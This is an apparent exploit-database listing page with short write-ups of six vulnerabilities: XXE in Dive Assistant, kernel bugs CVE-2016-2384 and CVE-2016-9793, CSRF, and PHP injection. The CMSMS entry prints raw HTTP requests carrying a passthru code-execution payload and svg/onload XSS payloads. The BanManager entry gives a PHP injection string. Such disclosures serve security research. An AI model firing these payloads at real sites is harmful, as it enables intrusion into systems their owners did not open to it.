header-logo
Suggest Exploit
explore-vulnerabilities

Explore Vulnerabilities

Version
Year

Explore all Exploits:

Dive Assistant – Template Builder XXE Injection

Dive Assistant - Desktop Edition comes with a template builder .exe to create print templates. The templates are saved and uploaded as XML files which are vulnerable to XXE injection. Sending a crafted payload to a user, when opened in Dive Assistant - Template Builder, will return the content of any local files to a remote attacker.

CVE-2016-2384 – Exploitable Vulnerability in the usb-midi Linux Kernel Driver

This post describes an exploitable vulnerability (CVE-2016-2384 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) in the usb-midi Linux kernel driver. The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7). The vulnerability can be exploited in two ways: Denial of service (requires physical access) and Arbitrary code execution with ring 0 privileges (requires both physical and local access). A proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer2 device (https://github.com/mame82/Facedancer2) as a malicious USB device.

CMSMS 2.1.6 Multiple Vulnerabilities

POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1 _sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 POST /cmsms/admin/addgroup.php HTTP/1.1 _sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true

CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793

This exploit is a local privilege escalation exploit for CVE-2016-9793. It is used to gain root access on affected kernels from 3.11 to 4.8. It has been tested in QEMU only. It does not include any KASLR, SMEP or SMAP bypass. The exploit uses a thread to overwrite the sock->sk_sndbuf with a payload that calls get_root() which in turn calls commit_creds() and prepare_kernel_cred() to gain root access.

gongwalker API Manager v1.1 – CSRF(Add/Delete/Edit API)

gongwalker API Manager v1.1 is vulnerable to Cross-Site Request Forgery (CSRF) attacks. An attacker can craft a malicious HTML page that when visited by an authenticated user, can add, delete or edit API data. This can be done by sending a POST request to the vulnerable URL with the required parameters. The vulnerable parameters are 'num', 'p[name][]', 'p[paramType][]', 'memo', 'p[des][]', 'type', 'url', 'p[type][]', 'p[default][]', 'des', 're', 'name' and 'id'. An attacker can use this vulnerability to add, delete or edit API data without the user's knowledge.

BanManager WebUI 1.5.8 – PHP Code Injection & Stored XSS

Code executed via the updatesetting action will modify 'setting.php'. In the process, there is not verification of the input value, so it is possible to insert php code. Vulnerable parameters include footer, buttons_before, buttons_after, banextra, and muteextra. Attack code is a POST request with the payload 'aaaaaa';$hacker=hwul//inject_php_code';

Recent Exploits: